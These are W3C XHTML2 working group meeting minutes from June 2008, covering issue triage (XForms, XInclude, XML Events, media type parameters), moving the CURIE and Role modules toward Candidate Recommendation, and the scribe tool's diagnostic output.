SM: text ... probably inline - PCDATA or text ... can't have DFN that is a DIV <yamx> I have access to w3c. SM: 7899 already agreed;statetype=-3;upostype=-1;changetype=-1;restype=-1 SM: section on XForms ...;user=guest;statetype=-3;upostype=-1;changetype=-1;restype=-1 ... states: "they are presentational and shouldn't be in structural langauge" SP: misunderstanding of XForms SM: not permitted to sub-set XForms, and if didn't have, would compromise XForms RM: bring up with XForms group SM: reject request - go tell Forms ... autocomplete attribute;user=guest;statetype=-3;upostype=-1;changetype=-1;restype=-1 SP: not our issue, please consult Forms WG RM: already replied that ... you added question - what would they do? ... not in our scope SM: agree and marked as such <alessio> +1;statetype=-3;upostype=-1;changetype=-1;restype=-1;user=guest;statetype=-3;upostype=-1;changetype=-1;restype=-1 SM: Issue 674 suspended - decided to use parameter on mediatype ... have to do something about it SP: if want to do that, have to update RFC, so is our responsibility SM: ok RM: who can work IETF process <scribe> ACTION: ShaneM - write up how WG believes parameters should work on media type and talk with Mark Baker about how to get RFC updated [recorded in] SP: RFC 3236 - ... application+xml has optional profile parameter - section 8 says "this parameter solves short-term problem of ... used only in content negotiation" SM: XHTML Basic doesn't use it SP: thought it did <yamx> we use profile in OMA. SP: XHTML Basic usage in OMA has different specifications <yamx> yes. <yamx> in XHTML Mobile Profile. SP: looks to me like don't have to update 3236 - can use profile and say "this is the value of profile" SM: put in language specs? ... if want this, use profile X ... M12n - which families of XHTML you support ... want to address 7726;user=guest;statetype=-3;upostype=-1;changetype=-1;restype=-1 SM: Issue 7726 - Add XInclude module ... requestor wants XInclude ... think he is wrong - won't replace FRAME or IFRAME SP: bit complicated, but would solve what TH and i discussed earlier <ShaneM> The working group is considering this in the context of the larger issue of embedding resources in documents. SM: proposed comment ... when have answer, return to issue RM: reasonable (no objections logged) <scribe> ACTION: Roland - investigate what would be involved by adding XInclude [recorded in] SM: next issue: MediaDesc with CSS3;user=guest;statetype=-3;upostype=-1;changetype=-1;restype=-1 SM: CSS3 not going to be ready soon SP: been in CR since june 2007 SP: not against this, but not rec so can't quote yet SM: why labelled as open ... notes for Issues 7659 and 7656 need to be broken into individual issues TH: nothing need to do until broken down SM: we need to do the breaking down <scribe> ACTION: ShaneM - break Issues 7659 and 7656 into individual issues so can be addressed [recorded in] SM: handful of items in XML Events RM: this is what you do now SM: should put in spec, right? RM: in new Script Module SP: 8018 - NOSCRIPT is there because of Document.Write - if can't do document.write, don't need NOSCRIPT - insert NOSCRIPT into document and let SCRIPT get rid of it RM: what i used to do, what i do now, what i can expect when serve to legacy UA SM: requirement for NOSCRIPT SP: replied to guy and he thinks he understands it SM: i'll find it SP: explained and said this issue can be closed by mutual agreement ... reply to him, WG and wg-issues lists.w3.org/archives/public/public-xhtml2 SM: not in issue tracking sytem - will close issue <Steven_> <Steven_> SM: John Boyer submitted a couple of issues 8029 - Issue with phase attribute in XML Events 2;user=guest;statetype=-3;upostype=-1;changetype=-1;restype=-1 SM: additional @target SP: done that RM: yes Issue 8029 closed;user=guest;statetype=-3;upostype=-1;changetype=-1;restype=-1 SM: if and while attributes - evaluation context not defined - we have done with XPath section ... context is there is no context Issue 8031 - XML Events with repeated content;user=guest;statetype=-3;upostype=-1;changetype=-1;restype=-1 SM: thought Forms WG discussed, but don't know how to fix "Now, we would like to be able to say that the item element is the target of the xforms-hint event so that one can provide item-specific events. Yet" RM: done a lot of updates to XML Events 2 covering this, so should suggest they take another look SP: think his problem is that markup doesn't match DOM tree ... due to repeats expanding DOM tree ... think this is XForms'' problem ... XForms has to define triggering - element repeats causes DOM tree to expand, need to find out what happens with Events - do handlers get duplicated for every repeated sub-tree SM: should ask to look at document again RM: DOM tree events are choices they made SM: assigning XML Events bucket to you SP: end? SM: save for the massive "incoming" bucket RM: 15 minute break then go through other agenda items (update requests) and if time and energy can attack incoming SM: data point: RDFa group meeting in 3 minutes time - someone from this WG needs to be there SP: i have to leave at 5 ======== FIFTEEN MINUTE BREAK ============= <yamx> ok, see you later. <ShaneM> CURIE further update: ok <yamx> This is the first time to make any intensive XHTML2 issue discussion in my 2-year XHTML2 experinece. <alessio> :) <yamx> :-) SM: new update in response to latest comments <ShaneM> SM: incorporated all changes discussed on tuesday; brief discussion wednesday morning, and updated appendix a to be informative, pointed to normative datatype module, and <Steven> Are people talking? I hear nothing SM: not sure what to do about declaring normative RM: inferred? do we want to define a normative def SM: M12n doesn't know about CURIEs yet ... think we should just go for it ... suggestion is change this so those are normative definitions? GJR, ok with me <alessio> +1 <yamx> PR, no objection. SM: can we move forward to PR transition based on this draft? <yamx> CR, no objection. RESOLUTION: transition CURIEs to CR RM: good - one down <Steven> ACTION: Steven to organise CURIEs CR [recorded in] SM: decided to postpone access <ShaneM> SM: update based on f2f discussions - prepared for CR ... incorporate all changes we discussed except links to examples from ARIA - wasn't comfortable putting in at top of Section 3 ... tried to remember what we were trying to demonstrate RM: bad practice <div role="paragraph"> i can get a better example <Tina> Where was the best-practice bit added? tina, top of sectoin 3 <Tina> I'm fine with the wording SM: example in here now role="navigation sitemap" -- should fix - don't define navigation sitemap 'SM: other examples? GJR: a real list versus a bunch of lines separated by <br /> or using div /div instead of l /l <alessio> what about role="video" or role="presentation" ? RM: appropriate and then inappropriate example <scribe> ACTION: ShaneM - provide appropriate and then inappropriate example for Section 3 [recorded in] GJR will help ShaneM - there are better examples i can provide RM: Shane, leaving for RDFa call? SM: if i can be spared RM: scheduling <alessio> and I'll help shane + gregory ;) RM: how long to take to get thorugh CR transitions? SP: which ones - depends on how long have to wait for implementations RM: CURIEs SP: RDFa providing implementations RM: roadmap POV - get to CR before july ... CURIEs and Role into CR in July 2008 SP: yes SM: works for me RM: new draft of XHTML2 by end of next week or end of month SM: sure RM: other significant roadmapping items? <Steven> Future meetings? RM: 2 gone to PR - Basic and M12n SM: 30 day period SP: out of our hands - happens or doesn' t RM: Role Module to CR timeframe? ... July 2008? SP: take CURIEs and Role at same call RM: Access Module holdup? ... waiting for feedback ... XML Events 2 ... Last Call for XML Events 2 in July SP: sounds good if we can ... away first 3 weeks of july RM: anything else to discuss? will update roadmap this week <Steven> future meetings RM: schedule block of time on next few calls to go through rest of XHTML2 issues SP: future meetings RM: next scheduled one is at TPAC in south of france (october 2008) SM: are we meeting next wednesday? RM: yes SM: would prefer we do SP: adjournment? ... great meeting RM: thanks everybody ... lets keep the momentum -- until next week... ========= ADJOURN ========== <Steven> thanks Gregory for minuting today <Tina> oedipus: thank you :) you are welcome it's a pleasure to be in a WG that actually lives up to its name! s/@style is deprecated/eliminated/@style is eliminated s/@style is deprecated/eliminated/@style is eliminated/ s/RESOLVED: @style is deprecated/eliminated/RESOLVED: @style is eliminated is ]] the escape for sed? trying to change s/RESOLVED: @style is eliminated/eliminated to RESOLVED: @style is eliminated This is scribe.perl Revision: 1.133 of Date: 2008/01/18 18:48:51 Check for newer version at Guessing input format: RRSAgent_Text_Format (score 1.00) Succeeded: s/inb/in/ Succeeded: s/ a / the / Succeeded: s/Scribe: Steven/Scribe: Steven_/ Succeeded: s/FY:/FYI:/ Succeeded: s/form/from/ Succeeded: s/to XML/to XHTML/ Succeeded: s/@sourcetype/@srctype/ Succeeded: s/prt/rt/ Succeeded: s/prlbem/problem/ Succeeded: s/8.1/18.1/ Succeeded: s/ahve/have/ Succeeded: s/with 3/with 2 or 3/ Succeeded: s/windo/window/ Succeeded: s/mech/mechanism/ Succeeded: s/into XHTML2/into XHTML2 Doctype Section/ Succeeded: s/RM: 1/SP: 1/ Succeeded: s/need style/need @style/ WARNING: Bad s/// command: s/RESOLVED: @style is deprecated/eliminated/RESOLVED: @style is eliminated Succeeded: s/XHTML1/XHTML1.1/ Succeeded: s/= note/-- note/ Succeeded: s/evaluation/evaluation context/ Succeeded: s/XForms/XForms'' problem/ WARNING: Bad s/// command: s/@style is deprecated/eliminated/@style is eliminated WARNING: Bad s/// command: s/@style is deprecated/eliminated/@style is eliminated/ WARNING: Bad s/// command: s/RESOLVED: @style is deprecated/eliminated/RESOLVED: @style is eliminated Succeeded: s/RESOLVED: @style is deprecated/RESOLVED: @style is eliminated/ Found Scribe: Steven_ Inferring ScribeNick: Steven_ Found Scribe: Steven Inferring ScribeNick: Steven Found Scribe: oedipus Inferring ScribeNick: oedipus Scribes: Steven_, Steven, oedipus ScribeNicks: Steven_, Steven, oedipus WARNING: Replacing list of attendees. Old list: Roland Steven Gregory_Rosmaita Tina ShaneM yamx Alessio Yam New list: Roland Gregory_Rosmaita yamx Alessio Steven ShaneM Tina Default Present: Roland, Gregory_Rosmaita, yamx, Alessio, Steven, ShaneM, Tina Present: Roland Steven Tina Gregory_Rosmaita Alessio Yam ShaneM Agenda: Got date from IRC log name: 19 Jun 2008 Guessing minutes URL: People with action items: - add answer brain combine cycles devote roland shane shanem steven text[End of scribe.perl diagnostic output]
http://www.w3.org/2008/06/19-xhtml-minutes.html
CC-MAIN-2015-14
refinedweb
9,337
53.55
I: And its associated code-behind file then looks like this (note: I could add view-specific formatting methods into this if I wanted to):: Click here to download the ViewManager.RenderView implementation if you want to check it out and try it yourself. Hope this helps, Scott Welcome to the eighth installment of Community Convergence . This week let's focus on two C# Wikis available Hi Josh, At first glance an Interface does seem a little cleaner. What I like about the reflection approach though is that I don't have to have the Data property be tied to being a specific datatype. For example, I could have Data be of type "CustomerCollection", "IEnumeration", "string", or just of type "Object". This avoids me ever having to cast it to use it, and also gives me compilation checking within the view (meaning the compiler will complain if I try and use it differently). Having said that, requiring an interface would only change a few lines in the implementation - so if you prefer that approach you can ceretainly do that too. Hi Skup, My blog posting software (either that or blog server) didn't like the word javascript followed by a ":" in my code snippets. Probably this is due to security reasons. :-) The .zip file has the full source you can download as well. Hi Steve, One approach would be to use ASP.NET's HTML intrinsic controls instead of the <asp:> ones for things like buttons and checkboxes. These are easy to use - just add the regular HTML elements to the user control and then add an "ID" attribute and a runat="server". These won't complain about needing to be in a <form> element. If you want to use a control that needs to be in a <form> element to render, one approach you could take would be to dynamically inject a form element under the page class (within the RenderView method I built, and then add the UserControl under that). You could build your own custom derived page class that stripped out the <form> control's rendering output if you wanted - which would then cause you to only return the exact HTML that you need. I have been using this technique for a few months now. To avoid seeing the error "GridView must be placed inside a form tag", I use a custom control that strips out the form check like so: public class FormlessGridView : System.Web.UI.WebControls.GridView { protected override void Render(HtmlTextWriter writer) { this.PrepareControlHierarchy(); this.RenderContents(writer); } } Hi Greg, In terms of performance, my solution above should be very fast. It is using the standard ASP.NET page infrastructure for compilation and running a page - which means there is no interpreted logic at all. One other benefit is that you don't need to serialize your data model to XML, which from a performance standpoint is probably the biggest issue with an XSL/T approach (which works fine if you already have data in XML format, but which might have issues if you have to first convert data to XML). Scott Hi Rumen, I think you might have me confused with someone else (I'm not Bertrand). :-) Telerik has actually had access to the new Atlas Beta bits for about 7 weeks now, and has had access to conference calls with the team during that time (this is true for many of the major control vendors). I'd recommend chatting with others folks at Telerik who have received the documentation and information about how to change your controls. That might help with updating them. If not, I know the Atlas team would be happy to help you. Scott。 Hi Jimmy, The lookup is cached, so calling Page.LoadControl shouldn't have any performance issues. Hi Tim, The ASP.NET AJAX web-service handler actually doesn't use XML under the wire -- instead it just returns content in a "JSON" format. This should be pretty efficient and not cause any performance problems. Hi Andrey, You can use the technique I use above from any HttpHandler or even a page. The reason I used AJAX web-service callbacks is because they allow you transfer rich datatypes between JavaScript and the server (basically any .NET class to/from JavaScript). This can help with a lot of scenarios and is pretty easy to-do. Hi Richard, I'm going to send mail to find out why requests over 100k are having problems. I'll let you know what I find. Thanks, Hi Jane, My blog engine replaced the "BLOCKED SCRIPT" text with the BLOCKED SCRIPT: text. If you download my sample you'll see the right code. Great example! "The reason I used AJAX web-service callbacks is because they allow you transfer rich datatypes between JavaScript and the server (basically any .NET class to/from JavaScript). This can help with a lot of scenarios and is pretty easy to-do. Scott" Hi Scott, Is there any way to use more complex controls (like Calendar, GridView, AJAX Accordion etc.) in your templates approach. I tried some of them with the same result - System.Web.HttpException --Error executing child request for handler 'System.Web.UI.Page'. Thanks. Does this work when the UserControl has controls on it that need to get posted back? I've used an update panel to dynamically load a user control via Page.LoadControl based on the selection of a drop down, but when the page is submitted I don't have a way of gaining access to the controls in the UserControl because they were dynamically rendered when the update panel refreshed rather than being contained in the initial page. I can't even get a reference to the UserControl during the postback because the page doesn't know the UserControl exists because it was created during an UpdatePanel refresh. Hi, Thanks for the nice example! I downloaded ur code, simple & complete and tried to run it on my machine... it throws a variety of errors(I suspect on machine only..), starting with: - Line 47 Object doesn't support this method or property (Runtime error do you wish to Debug) - Line 54 & 77 Error 'Sys' is undefined (Runtime error do you wish to Debug) any help ? Hi Roy, This technique above only allows you to use these template files in a display-only way. It doesn't support or allow post-backs. Hi Shahul, The problem is that the above sample was written for ASP.NET AJAX Beta1 - and Beta2 requires an update to the web.config file to work. You can read about the update to make in this blog posting here: Hey Scott, I am getting the same error that diPietro is getting and it is happening on the ViewManager.cs line: HttpContext.Current.Server.Execute(pageHolder, output, false); I get an error back that says Error executing child request for handler 'System.Web.UI.Page' What am I missing here?? Thanks, Greg gpbenoit [at] gmail [dot] com Sorry...I figured out that it was the same error as someone above had which is the fact that you can't have an asp control without the form tag. So now my question turns into what would the code look like to do the following (quoted you from above): "You could build your own custom derived page class that stripped out the <form> control's rendering output if you wanted - which would then cause you to only return the exact HTML that you need." thanks, Greg Hey again Scott, Ok I have gotten it to work with asp controls by dynamically adding a form element and then stripping it away. All I had to do was add this to the top of the ViewManager class: using System.Web.UI.HtmlControls; And then I changed the bottom of the RenderView method to this: HtmlForm tempForm = new HtmlForm(); tempForm.Controls.Add(viewControl); //pageHolder.Controls.Add(viewControl); pageHolder.Controls.Add(tempForm); StringWriter output = new StringWriter(); string outputToReturn = output.ToString(); outputToReturn = outputToReturn.Substring(outputToReturn.IndexOf("<div>")); outputToReturn = outputToReturn.Substring(0, outputToReturn.IndexOf("</form>")); return outputToReturn; ...And you're done...I hope this helps some people. thanks for a great post, Greg Benoit (Benwah) I've some asp.net controls that have extra java script methods attached to it. If I use the viewmanager I will lose this javascript functionality. How can I persist already defined java script functionality?? I have had problems passing a parameter into a component. E.g. ViewManager.RenderViewGu("~/App_Views/customers.ascx?JobNumber=" + jobNumber) It results in the error message "... is not a valid virtual path" Hi Michael, The problem you are having above is that you are passing a querystring parameter to the ViewManager.RenderView method. You'll instead want to just pass the path of the .ascx file. Scott, You comment above that this technique is display-only and does not support post-backs. How would I do this the ASP.NET AJAX way if I needed to dynamically load a User Control and have that control handle postbacks? For example, say I have a drop-down list box of possible form names that dynamically load the associated form via AJAX. Then say I need to submit the form and have its postback event handler called. I assume I need to call LoadControl again on the postback so the proper event handler is called, right? How do I do that and at what point in the page life cycle do I do it in? Thanks... Hi Scott , I also had problem with ~100k errors. like Richard described. I also found the solution you have to crank it up in the web.config MaxJsonLength is the property to change <microsoft.web><scripting><webServices> <jsonSerialization maxJsonLength="2097152"/>... where 2097152 is the default so change it to a higher value should do the trick. reference Hi Scott Any clues about the "There seems to be a limit on the amount of content that a webservice can return. I am getting an error thrown by the Ajax framework (system.invalidcastexception) whenever the return > approx 100K" query ? Richard There is a "MaxJsonLength" property that you can configure to return more than 100k back from a JSON request: P.S. Thanks Cristian for the pointer! I cannot find a way to put Javascript inside a component and have it render using this method. Hi Scott! Is there any possibility not to write direct web service path like this <Services> <asp:ServiceReference </Services> I mean is there any other way to register web service? Hi Alex, You can do two other options: 1) Rather than declaratively register services like above, you can instead programmatically access the scriptManager and register them at runtime if you prefer. 2) You can dynamically invoke web-services from JavaScript directly without needed to register anything. Great stuff! Do you by chance have this converted using 1.0RC? I am having some issues with WebResourceCompression. Any suggestions will be greatly appreciated. George Hi George, I'm going to be posting my slides from the CodeMash conference later this weekend. In the Tips and Tricks talk I have an updated version of the sample that works with RC1. I like the idea of using this 'trick', but have the following dilemma: If I attempt to generate the html through a static page reference (PageMethods), I get the error 'Error executiong child request for handler 'System.Web.UI.Page' on the HttpContext.Current.Server.Execute call. If I use a web service, it doesn't appear I have access to the session variables created on the main site, which I need. Any idea on how to work around this? Thanks much, - Stew Hi, If web services are on same site you can have access to session by adding this [WebMethod(EnableSession = true)] instead plain [WebMethod] For the 'Error executiong child request for handler 'System.Web.UI.Page' trick is (like mentioned in previous posts) to inject form into page and add your user control into that. After that I also strip out any hidden viewstate inputs to prevent and "invalid state" exceptions when posting pack. - Heiskanen Since I hate passing the type Object around, try it with generics. Not sure if my copy/paste will look clear here, but you get the idea. public class ControlRender { public static string RenderControl<T,D>( D data ) where T : System.Web.UI.Control, IRenderable<D>, new() { Page pageHolder = new Page(); T userControl = new T(); if( data != null ) { userControl.PopulateData( data ); } pageHolder.Controls.Add( userControl ); StringWriter output = new StringWriter(); HttpContext.Current.Server.Execute( pageHolder, output, false ); return output.ToString(); } } public interface IRenderable<T> void PopulateData( T data ); Hi scott, Can u tell me How to call ServerSide code from javascript.Without using any Webservices. Scott, I tried using a non-AJAX callback (the original ASP.NET 2.0 callback procedures...still using them) last year in which I generated what I thought was the equivalent of a gridview table, retrieved through a callback and added to a panel. It worked, but it seemed very slow, particularly as the row count increased, compared to the standard gridview submit. Maybe it was slow because the process by which I built my "equivalent" gridview, or the resulting code, was inefficient. My question is, if I were to try this again, using rendercontrol to build the callback html, should I expect it to be relatively the same speed as the gridview submit...meaning, relatively efficient control build, and relatively efficient html? Or is there some reason that you know of relative to the internals that would still make the round trip significantly slower than the gridview submit. Any guidance on this would be appreciated. Thanks! Hi Jim, I think it should be pretty fast. It could be that the way you were concatinating strings on the server was causing the slowdown? Scott, thanks for your message. Yes, I was doing a lot of string work to build the "gridview equivalent". I suspected that that could have been the problem, and your comment allows me to assume it was and get past that. I appreciate the input on the performance because the better probability of success will allow me to move this feature up on my priority list. I'm using callbacks in a number of other ways on the page in question, and now have line of sight to getting the main panel refreshes to use them too. Cool! Thanks! Has anyone succeeded in rendering a page containing a scriptmanager? I also get the errors reported by Tony Guidici above. TIA Thomas Thomas, Still working on that one myself... had to alter my design. However, I'm revisiting this for the next project phase, so guidance on this issue would be helpful! If I figure it out, I'll let you know. 【原文地址】Tip/Trick:CoolUITemplatingTechniquetousewithASP.NETAJAXfornon-UpdatePanelscenarios... One of the features that web developers will really like with VS 2008 is its built-in support for JavaScript Hello All, I have tried the weblogs.asp.net/.../Tip_2F00_Trick_3A00_-Cool You've been kicked (a good thing) - Trackback from DotNetKicks.com Scott Guthrie has a great example of how to use an ASP.NET user control as a template which one can dynamically I'm following this posting weblogs.asp.net/.../Tip_2F00_Trick_3A00_ Pingback from Enlaces 6 de Febrero: ASP.NET, ASP.NET AJAX, Visual Studio, .NET, WPF « Thinking in .NET Pingback from Enlaces 6 de Febrero: ASP.NET, ASP.NET AJAX, Visual Studio, .NET, WPF « Alexander Jim??nez Virtual Earth: Dynamically Load InfoBox Using ASP.NET AJAX Hi All, Following on from something I saw from Scott Guthrie, a ViewManager which allows you to render Pingback from Macro Linz » links for 2008-03-22 Pingback from template for injections Pingback from user control not updating visual studio Pingback from ASP.NET MVC Archived Buzz, Page 1 Hi all, I'm relatively new to Web Services as I've only used this on one other site and the one Client side templates using ASP.NET, JQuery, Chain.js, and TaffyDB VS2008JavaScriptIntellisense Oneofthefeaturesthatwebdeveloperswillreallylikewith It would be great if .NET 4.0 included an AjaxUserControl where that contol and only that control was 在很久很久以前,也就是asp.netajax刚引起大众关注不久,asp.netajax团队成员ScottGu发布了一篇非常实用的文章: 英文:Tip/Trick:CoolUITemplat... Pingback from Useful AJAX Links | pc-aras
http://weblogs.asp.net/scottgu/archive/2006/10/22/Tip_2F00_Trick_3A00_-Cool-UI-Templating-Technique-to-use-with-ASP.NET-AJAX-for-non_2D00_UpdatePanel-scenarios.aspx
crawl-002
refinedweb
2,710
64.71
11,.. February 26, 2014Peter Heinrich Most people prefer to use apps in their own language, but many developers consider app localization a dark art. Where do you start? How will your code change? Who will translate? If you’ve never localized an app before, the process can be intimidating. It’s a critical first step, though, if you want to reach a worldwide audience. Here guest blogger Jean-Claude Cottier demystifies app localization. A veteran game developer and architect, Jean-Claude has spent 18 years developing 3D technology for AAA titles and mobile apps. He has released many apps in the global marketplace through Ovogame, an indie studio he founded. In this practical guide, Jean-Claude explains how to plan for localization, track and organize what will change, support different languages in code, and find translators to localize your assets. Jean-Claude describes localization in detail and proves there’s nothing to be scared of. Localization: a Winning Solution Thanks to digital distribution, we now live in a global market and a lot of our potential customers simply don’t speak English. Having your applications localized will increase their global reach and will open new opportunities for your business. You’ll be more likely to find local partners and distributors interested in your products. Supporting more than one language isn’t a complex task once you’ve setup everything and streamlined your development process. Most of Ovogame’s applications are localized in many languages (English, French, German, Spanish, Italian, Russian, Japanese, etc.). It’s well worth it for us as we generate about 45% of our income from non-English-speaking territories. In this article, we’ll give you directions and tips about the technical side of localization. At Ovogame, we are using our own multiplatform engine (Fire OS, Android, iOS, Windows, OSX, BB10). As it is possible to use these techniques on all systems, we’ll stay as platform-neutral as possible. No Text in Your Code The best way to handle localization is to think about it from the start of your project. You shouldn’t treat your primary language (English) differently than the other languages supported by your apps. English may be set by default, but that should be the only difference with the other languages. The golden rule is to NEVER have any text hard-coded inside your source code. Instead, it should all be stored in an external file (like any other data). Supporting different languages means creating different files per language and loading the correct one. As you can’t have any actual text in your code, the best way is to handle them with keywords. For example, if you want to display a greeting message like, “Hello world,” you could use the keyword GREETING instead. Your code could look like this: String message = Translate(“GREETING”); DisplayText(message); The function Translate returns the correct sentence to display. If the application language is set to English, it will return, “Hello world,” but if it’s in French, “Salut monde.” The function Translate needs a simple list of keywords linked to their localized sentence. It will scan this list and once the right keyword is reached, it returns the corresponding text. In practice, it’s wise to cache this string; there is no point to call Translate every frame. Using keywords is very nice because you can still understand their meaning when reading your code. As they are proper strings, you can build some of them dynamically (mainly when they’re indexed: RATING_0, RATING_1 …) to simplify your code. Using Excel or Open Office We like to use Excel’s files to store all our localizations and there are many good reasons for this choice. Everyone can view and edit these files, so the persons localizing or proofreading your text will be comfortable with this format. You can add more information (extra columns and lines) and use different colors to help them. It’s also easy to provide links to images (often better than a long speech). Basically, Excel is a very practical tool for creating and managing all your localization. The other great advantage is that your database is automatically created. The relationship between your keywords and their localizations is obvious: each line contains a keyword and its corresponding translation (stored in two consecutive cells). We need a way to extract this information so you can use it in your application. Excel’s files are complex and coding a function to read such a file format would be a lot of work. Thankfully, we don’t have to do this because it’s easy to convert them into a basic ASCII text file. If you are serious about localization, you should handle text files supporting two bytes per character. If you want to localize in Japanese or Chinese, you must support this anyway. It isn’t mandatory, but it would be a shame to not support it. Simply store your characters in 16 bits instead of 8 bits. Before converting your Excel file, you might want to do a bit of cleaning first. You should remove all unwanted information and just keep the first two columns (keywords and localizations). If you are using Microsoft Excel to convert your file, simply save it as a Unicode text (*.txt) file. This new file contains only ASCII characters stored on 16 bits. As the following picture shows, it’s a very simple format. You can use it directly in your application. Remember that every ASCII character in that file is stored using two bytes (16 bits). The file starts with a magic number (one character: ASCII value 65279) that you can skip. A TAB character (ASCII value 9) is used to separate the keywords from their localization. A carriage return (ASCII value 13 and 10) is used to separate the different lines. As you can see, it isn’t difficult to code a little function to load this file into memory and create a linked list or lookup table of these keyword/localization pairs. If you are using Open Office instead of Microsoft Excel, you can save your files as Text CSV (.csv) (*.csv) using UNICODE for the ‘character set’ option. The file format isn’t the same as the previous one, but you won’t have difficulties figuring out the differences by yourself. Selecting the Correct Language At this stage, you have a specific text file for each of your supported languages. You just need to load the correct one. A nice little feature is to automatically select the language used by the device. So, if the device is set to French, your application could automatically start in French. With most platforms, it’s very simple to find out the language set on your device. For example, with Android, you can simply call a function from your Activity class: Configuration config = getApplicationContext().getResources().getConfiguration(); String lang = config.locale.getLanguage(); The function getLanguage returns strings like en (English), fr (French), de (German). You should check the value of lang and if you don’t support that language, set it back to your default one (en in our case as we want English to be default). This string will be used to identify the current language during your application life cycle, so keep it safe. You can use these abbreviations (en, fr, de…) to setup a simple naming convention for your files. With this convention, it’s simple to know which file to load. Also, you can find out dynamically if a language is supported by your application: simply check if the corresponding language file exists. This way, you can add new languages without changing a line of your code. It’s always a good idea to make your code as generic as possible and let the assets handle themselves (data-driven instead of code-driven). If you are developing your applications for different platforms (iOS, OS X, Windows, etc.), you’ll find similar functions as getLanguage on all systems. Localizing Other Assets Sometimes, you need to localize more than just text. You might have textures containing some writing. You should use the same naming convention as before. To simplify your code, you can dynamically create the names of your localized textures using a simple function: String name = LocalizeName("gameover", "png"); The function LocalizeName concatenates the current language and the extension (.png in this example). So, if the language is Spanish (es), the name returned will be gameover_es.png. You might have some assets that need to be localized in some languages but not for all of them. For example, in France, we are comfortable using the Anglicism ‘Game Over’ (translating it would actually sound weird). It would be a shame to duplicate the default asset just to create a fake localized one (gameover_fr.png). Instead, the function LocalizeName could test if the file exists (it’ll need the complete path for that). If the file doesn’t exist, the function should return the name of the default file. For our example, in French, LocalizeName would return gameover_en.png. Finding the Right People You should work with native speakers for all your localization. Don’t ever use automatic translation tools (online software) like Babel Fish or Google Translate. The result is so bad that you are better keeping your application in English. There are many online services where you can hire translators, like dystranslations.com and tethras.com. We haven’t used them, but they were recommended by fellow game developers. We did find an alternative way to get very motivated translators. We ask our fans if they can do it. These people enjoy our apps and know them almost as well as we do. We develop a much closer relationship with these users than we would ever get from hiring someone via an online service. They are very keen on making the best localization. We send them beta builds so they can test if their localization is perfect. It really feels like they are part of the team. Final Tips Give your translators as much detail about your application as possible. If they can test a proper version (like our fans do), it is even better. The more they know about your application, the better they’ll localize it. Be careful with the size of your UI (buttons, message box, etc.). Most English words are small compared to other languages. Usually, German words are very long and it might be wise to check if they fit in your UI as early as possible. It’s also useful to have a way to auto-scale your text, so you can be certain it will always fit inside a specific area (like a button). Don’t hesitate to add formatting information inside your text. For example, “Chapter [NUM]” contains the tag [NUM]. We will substitute the proper index in code (Chapter 1, Chapter 2…). It’s very useful because for some languages, the formatting is completely different (in Chinese, it’s in the middle 第[NUM]章). Using this solution will remove most of the formatting problems. There are many other aspects to be considered when localizing (fonts, testing, etc.), but that would be too long for this article. Hopefully, this quick overview has convinced you that the technical side of localization is accessible to anyone. It’s a simple way to increase the visibility of your application; you should do it.
https://developer.amazon.com/blogs/home/tag/Guest+Post
CC-MAIN-2021-10
refinedweb
1,901
64.51
z3c.listjs 1.0b1 A formlib list widget that uses Javascript z3c.listjs z3c.listjs contains a widget called ListJsWidget that is a drop-in replacement for the zope.app.form.browser.ListSequenceWidget. It allows users to add and remove list items without the need for server interaction, using Javascript. Note: This package only works with zope.formlib (zope.app.form) and is not compatible with z3c.form. You can use ListJsWidget for any schema.List field using the normal zope.formlib custom widget pattern: from z3c.listjs import ListJsWidget ... form_fields['foo'].custom_widget = ListJsWidget With the right ZCML override it should also be possible to automatically use this widget in all cases ListSequenceWidget would normally be used. Documentation contributions are welcome! Should you wish to override the CSS for the buttons, the CSS classes are up_button and down_button. If you are using hurry.resource for your overriding CSS, your resource should depend on z3c.listjs.listjs_css so that ordering is correct to make the override happen. CHANGES 1.0b1 (2009-06-04) Javascript in <script> blocks and onclick handlers are also renumbered so that references to the element id in question are updated. This won't be reliable in the (assumed to uncommon) case where a widget id is referenced within the HTML that is not the field of the widget being rendered. If TinyMCE is installed, care is taken to disconnect TinyMCE editors before moving. Reconnection of the moved editors is assumed to take place in the included HTML for the new element, using something like: tinyMCE.execCommand('mceAddControl', false, 'id_of_element'); A few small bugfixes: - prefix is passed along to update_numbers - attr is a local as it should be. - getElementsByClassName actually filters by class name. 1.0a4 (2008-02-04) - Really fixed up/down arrow for added items. 1.0a3 (2009-02-03) - Fix bug where up/down arrows didn't appear for newly added items. 1.0a2 (2009-01-23) - Allow moving individual list items up and down in the list. 1.0a1 (2009-01-08) - Initial public release. Download - Author: Martijn Faassen - Keywords: zope3 form widget - License: ZPL 2.1 - Categories - Package Index Owner: faassen - DOAP record: z3c.listjs-1.0b1.xml
http://pypi.python.org/pypi/z3c.listjs
crawl-003
refinedweb
365
59.5
Sometimes it's interesting to randomly generate a large amount of valid sentences from a context free grammar. The best use for this is automated stress-testing of parsers for those grammars [1]. So how would you generate sentences? Simple recursive algorithm The first approach that springs to mind is a simple recursive traversal of the grammar, choosing productions at random. Here's the algorithm with some infrastructure: class CFG(object): def __init__(self): self.prod = defaultdict(list) def add_prod(self, lhs, rhs): """ Add production to the grammar. 'rhs' can be several productions separated by '|'. Each production is a sequence of symbols separated by whitespace. Usage: grammar.add_prod('NT', 'VP PP') grammar.add_prod('Digit', '1|2|3|4') """ prods = rhs.split('|') for prod in prods: self.prod[lhs].append(tuple(prod.split())) def gen_random(self, symbol): """ Generate a random sentence from the grammar, starting with the given symbol. """ sentence = '' # select one production of this symbol randomly rand_prod = random.choice(self.prod[symbol]) for sym in rand_prod: # for non-terminals, recurse if sym in self.prod: sentence += self.gen_random(sym) else: sentence += sym + ' ' return sentence CFG represents a context free grammar. It holds productions in the prod attribute, which is a dictionary mapping a symbol to a list of its possible productions. Each production is a tuple of symbols. A symbol can either be a terminal or a nonterminal. Those are distinguished as follows: nonterminals have entries in prod, terminals do not. gen_random is a simple recursive algorithm for generating a sentence starting with the given grammar symbol. It selects one of the productions of symbols randomly and iterates through it, recursing into nonterminals and emitting terminals directly. Here's an example usage of the class with a very simple natural-language grammar: cfg1 = CFG() cfg1.add_prod('S', 'NP VP') cfg1.add_prod('NP', 'Det N | Det N') cfg1.add_prod('NP', 'I | he | she | Joe') cfg1.add_prod('VP', 'V NP | VP') cfg1.add_prod('Det', 'a | the | my | his') cfg1.add_prod('N', 'elephant | cat | jeans | suit') cfg1.add_prod('V', 'kicked | followed | shot') for i in xrange(10): print cfg1.gen_random('S') And here are some sample statements generated by it: the suit kicked my suit she followed she she shot a jeans he shot I a elephant followed the suit he followed he he 